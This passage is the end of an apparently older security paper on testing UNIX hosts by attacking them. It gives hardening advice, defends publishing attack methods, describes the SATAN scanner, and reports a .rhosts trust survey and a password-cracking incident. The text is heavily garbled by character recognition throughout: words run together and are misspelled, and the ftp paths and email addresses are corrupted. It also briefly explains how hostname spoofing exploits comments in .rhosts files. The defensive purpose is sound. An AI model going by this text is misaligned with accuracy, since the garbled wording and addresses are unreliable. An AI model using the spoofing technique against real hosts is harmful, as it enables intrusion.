authenticatiorschemeshatdo notuseary form of encryption.Othersolutions bothhardware(smartcards)
andsoftware (Kerberos)arebeingdeveloped,but they areeitherincompleteor requirechangego system
software.

AppendixB detailstheresultsof aninformal surey takenfrom avariety of hostson the Internet.

5 Protecting the system

It is our hopethatwe have demonstratethat even someof the mostseeminglyinnocuousservicesun can
offer (sometimesinexpectedly)ammunitionto determinedsystemcraclers. But, of coursejf securitywere
all thatmatteredcomputersvould never beturnedon, let alonehooledinto anetwork with literally millions
of potentialintruders. Ratherthanreiteratingspecificadviceon whatto switch on or off, we insteadoffer
somegenerakuggestions:

¢ If you cannotturn off the finger service,considerinstalling a modified finger daemon. It is rarely
necessaryo revealausers homedirectoryandthe sourceof lastlogin.

e Don't runNIS unlesst’s absolutelynecessaryUseNFSaslittle aspossible.

o Never export NFSfilesystemaunrestrictedo theworld. Try to export file systemgead-onlywhere
possible.

o Fortify andprotectseners(e.g. hoststhat provide a serviceto otherhosts— NFS, NIS, DNS, what-
ever) Only allow administratie accounton thesehosts.

e Examinecarefully servicesofferedby inetd andthe portmapper Eliminateary thatarent explicitly
neededUseWietseVenemas inetdwrappersif for nootherreasorthanto log thesourcef connec-
tionsto your host. This addsimmeasurablyto the standardJNIX auditingfeaturesgspeciallywith
respecto network attacks.If possible usetheloghostmechanisnof syslogto collectsecurity-related
informationon a securehost.

¢ Eliminatetrustunlessthereis anabsoluteneedfor it. Trustis yourenemy
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e Useshadov passwerds and a passwdcommandthat disallovs poor passwerds. Disableor delete
unused/dormargystemor useraccounts.

e Keepabreasof currentliterature(seeour suggestedeadinglist andbibliographyat the end of this
paper)andsecuritytools;communicateéo othersaboutsecurityproblemsandincidents.At minimum,
subscribeo the CERT mailing list andphrackmagazingplusthefirewalls mailinglist, if your siteis
usingor thinking aboutinstalling a firewall) andreadthe usenesecuritynensgroupso getthe latest
informationon securityproblems.lgnorancds the deadliessecurityproblemwe areawareof.

¢ Install all vendorsecuritypatchesassoonaspossible,on all of your hosts. Examinesecuritypatch
informationfor othervendors- mary bugs(rdist, sendmailarecommonto mary UNIX variants.

It is interestingto notethatcommonsolutionsto securityproblemssuchasrunningKerberoor usingone-
time passwards or digital tokensareineffective againstmostof the attackswe discusshere. We heartily
recommendhe useof suchsystemshut be awarethatthey arenot atotal securitysolution— they arepart
of alargerstruggleto defendyour system.

6 Conclusions

Perhapsioneof themethodsshavn herearesurprising;,whenwriting this paperwe didn’t learnvery much
abouthow to breakinto systems. What we did learnwas, while testingthesemethodsout on our own
systemsandthat of friendly sites,just how effective this setof methodsis for gainingaccesgo a typical
(UNIX) Internethost. Tiring of trying to type thesein all by hand,anddesiringto keepour own systems
moresecurewe decidedto implementa securitytool (SATAN) thatattemptgo checkremotehostsfor at
leastsomeof the problemsdiscussedere. Thetypical responsewhentelling peopleaboutour paperand
ourtool wassomethingonthe orderof "that soundgrettydangerous- | hopeyou're notgoingto giveit out
to everybody But you sinceyou cantrustme, may| have a copy of it?"

We never setout to createa cookbookor toolkit of methodsand programson how to breakinto sys-
tems— instead we sawv thatthesesamemethodswverebeingused,every day, againstourselesandagainst
friendly systemadministrators We believe that by propagatingnformationthat normally wasnt available
to thoseoutsideof the undervorld, we canincreasesecurityby raisingawarenessTrying to restrictaccess
to "dangerous'securityinformationhasnever seemedo beavery effective methodfor increasingsecurity;
indeed,the oppositeappeardo be the case sincethe systemcraclers have shavn little reticenceto share
theirinformationwith eachother

Whileit is almostcertainthatsomeof theinformationpresentedhereis new materialto (aspiring)system
craclers,andthat somewill useit to gain unauthorizedentranceonto hosts,the evidencepresentedven
by our ad hoctestsshaws thatthereis a muchlarger numberof insecuresites,simply becausehe system
administratorglont know ary better— they arent stupidor slow, they simply areunableto spendthe very
little freetime thatthey have to exploreall of the securityissueghatpertainto their systemsCombinethat
with no easyaccesdo this sortof informationandyou have poorly defendedsystemsWe (modestly)hope
thatthis paperwill provide badly-needediataon how systemsarebrokeninto, andfurther, to explain why
certainstepsshouldbe takento securea system.Knowing why somethings a problemis, in our opinion,
therealkey to learningandto makinganinformed,intelligentchoiceasto whatsecurityreally meansfor
yoursite.
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Appendix A: SATAN (Security Analysis Tool for Auditing Networks)

Originally conceved someyearsago,SATAN is actuallythe prototypeof a muchlargerandmorecompre-
hensve vision of asecuritytool. In its currentincarnation SATAN remotelyprobesandreportsvariousbugs
andweaknessem network servicesandwindowing systemsaswell asdetailingasmuchgenerallyuseful
informationaspossibleaboutthe tamet(s). It thenprocessethe datawith a crudefilter andwhatmight be
termedan expertsystemto generatehe final securityanalysis.While not particularlyfast,it is extremely
modularandeasyto modify.

SATAN consistsof several sub-programseachof which is an executablefile (perl, shell, compiledC
binary whateser)thattestsahostfor agivenpotentialweaknessAddingfurthertestprogramss assimpleas
puttinganexecutablento themaindirectorywith theextension'.sat"; thedriver programwill automatically
executeit. Thedriver generatea setof targets(usingDNS anda fastversionof ping togetherto get"live"
tamgets), and then executeseachof the programsover eachof the tamgets. A datafiltering/interpreting
programthenanalyzeghe output, andlastly a reportingprogramdigestseverythinginto a morereadable
format.

The entire package,including sourcecode and documentationwill be madefreely available to the
public, via anorymousftp andby postingit to oneof the numerousourcecodegroupsonthe Usenet.

Appendix B

An informal suney conductedn abouta dozeninternetsites(educationalmilitary, andcommercialwith
over 200hostsand40000accountsyevealedthatontheaveragecloseto 10 percenbpf asite’'s account$ad
.rhostsfiles. Thesefiles averagedsix trustedhostseach;however, it wasnot uncommono have well over
onehundredentriesin anaccount .rhostsfile, andon a few occasionsthe numberwasover five hundred!
(This is not arecordone shouldbe proud of owning.) In addition, every site directly on the internet(one
site was mostly behinda firewall) trusteda useror hostat anothersite — thus, the securityof the site was
notunderthe systemadministratorslirectcontrol. The larger sites,with moreusersandhosts,hadalower
percentagef userswith .rhostsfiles, but the sizeof .rhostsfiles increasedaswell asthe numberof trusted
off-site hosts.

Althoughit wasvery difficult to verify how mary of the entrieswerevalid, with suchhostnamesuch
as"Makefile", "Message-Id:"and"*Cs*"ANC M Ci "C*MpNur LA ZM O, aswell asquite a few wildcard
entries,we questionthewisdomof puttinga site’s securityin the handsof its users.Many userg(especially
the oneswith larger .rhostsfiles) attemptedo put shell-stylecommentsn their .rhostsfiles, which most
UNIX systemsattemptto resole asvalid hostnames Unfortunately anattacler canthenusethe DNS and
NIS hostnamespoofingtechniquesliscusseearlierto settheirhostnameo "#" andfreelylogin. Thisputsa
greatmary sitesatrisk (atleastonemajorvendorshipstheir systemsvith commentsn their/etc/hosts.equi
files.)

You might think thatthesesiteswerenottypical, and,asa matterof fact, they werent. Virtually all of
the administratorknew a greatdealaboutsecurityandwrite securityprogramsfor a hobbyor profession,
andmary of the sitesthatthey workedfor did eithersecurityresearctor createdsecurityproducts.We can
only guessatwhata "typical” site mightlook like.

Appendix C

After receving mail from a site that had beenbroken into from one of our systemsan investigationwas
started.In time, we found thatthe intruderwasworking from alist of ".com” (commercial)sites,looking
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for hostswith easy-tostealpassword files. In this case,"easy-to-steal'teferredto siteswith a guessable
NIS domainnamend an accessibleNIS sener. Not knowing how far the intruder had gotten, it looked
like a goodideato warnthe sitesthatwerein fact vulnerableto password file theft. Of the 656 hostsin
the intruders hit list, 24 had easy-to-steapasswerd files — aboutone in twenty-five hosts! One third of
thesefiles containedatleastonepassword-lessaccountwith aninteractve shell. With a grandtotal of 1594
passwerd-file entries,a ten-minuterun of a publically-availabdle passwerd cracler (Crack) revealedmore
than50 passwrds,usingnothingbut alow-endSunworkstation.Another40 passwrdswerefoundwithin
the next 20 minutes;anda root passverd was found in just over an hour The resultafter a few daysof
cracking: five root passwrdsfound, 19 out of 24 passwrd files (eighty percent)with at leastoneknown
passwerd, and259of 1594 (onein six) passwerdsguessed.

Appendix D

How to getsomefree securityresource®nthe Internet
Mailing lists:

¢ TheCERT (ComputeEmegeny Responsdeam)advisorymailinglist. Sende-mailto cert@cert.ag,
andaskto beplacedon their mailing list.

e ThePhracknewsletter Sendan e-mail messageo phrack@well.sf.ca.uandaskto be addedto the
list.

¢ TheFirewalls mailing list. Sendthe following line to majordomo@greatcircle.com:
subscribdirewalls

¢ ComputerUndegroundDigest. Sende-mailto tkOjut2@mvs.cso.niu.edaskingto be placedon the
list.

Free Software

e COPS(ComputerOracleand Passvord System)is availablevia anorymousftp from ftp://ftp.win.-
tue.nl/pub/security

e Thelatestversionof berlkeley sendmaiis availablevia anorymousftp from ftp://ftp.cs.berkley.edu#
ucbh/sendmail/.

¢ Sourcedor ftpd andmary othernetwork utilities canbefoundin ftp://ftp.uu.net/packges/bsd-saurces!

e Sourcefor ISS (InternetSecurityScanner)atool thatremotelyscandor variousnetwork vulnerabil-
ities, is availablevia anorymousftp from ftp://ftp.uu.net/useriecomp.sairces. mis/volumed/iss/.

e Securelibis availablevia anorymousftp from ftp://ftp.uu.net/usest/compsouces.miscyolume36-
securelib/.
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